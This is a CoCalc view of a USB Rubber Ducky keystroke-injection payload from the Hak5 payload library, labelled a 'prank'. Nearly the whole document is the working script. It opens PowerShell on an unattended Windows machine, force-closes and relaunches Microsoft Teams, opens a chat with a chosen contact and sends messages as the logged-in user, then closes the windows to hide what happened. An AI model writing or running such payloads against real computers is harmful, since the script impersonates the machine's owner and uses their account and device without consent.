Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/SendMessagesInTeams/payload.txt
2968 views
1
REM ###########################################
2
REM # |
3
REM # Title : Send Messages In Teams |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Prank |
7
REM # Target : Windows 10-11 |
8
REM # |
9
REM ###########################################
10
11
REM Requirements:
12
REM - Microsoft Teams installed and user logged-in
13
REM - Internet Connection
14
REM - ExecutionPolicy Bypass
15
REM - Python
16
17
REM 1. Open a powershell
18
REM 2. Close if Teams is opens and reopen it
19
REM 3. Goto search bar
20
REM 4. Search the person by name, email, id or what you want...
21
REM 5. Downarrow and enter to open the chat
22
23
REM REQUIRED - Name, email, id or what you want for contact the target
24
DEFINE USER-ID example
25
REM REQUIRED - Messages
26
DEFINE MESSAGE1 example
27
REM ...
28
REM DEFINE MESSAGEN example..
29
30
DELAY 1000
31
GUI r
32
DELAY 1000
33
STRING powershell
34
ENTER
35
DELAY 2000
36
37
REM #### Powershell ####
38
STRINGLN Stop-Process -Name "Teams"
39
DELAY 1000
40
STRINGLN Start-Process "$Env:USERPROFILE\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Microsoft Teams (work or school)"
41
REM It depends by the computer power
42
DELAY 10000
43
44
REM #### Teams ####
45
CTRL N
46
DELAY 2000
47
STRING USER-ID
48
ENTER
49
DELAY 2000
50
TAB
51
DELAY 1000
52
TAB
53
DELAY 1000
54
55
REM #### Messages ####
56
STRING MESSAGE1
57
ENTER
58
DELAY 1000
59
REM ...
60
REM STRINGLN MESSAGEN
61
62
DELAY 500
63
ALT F4
64
DELAY 500
65
ALT F4
66
67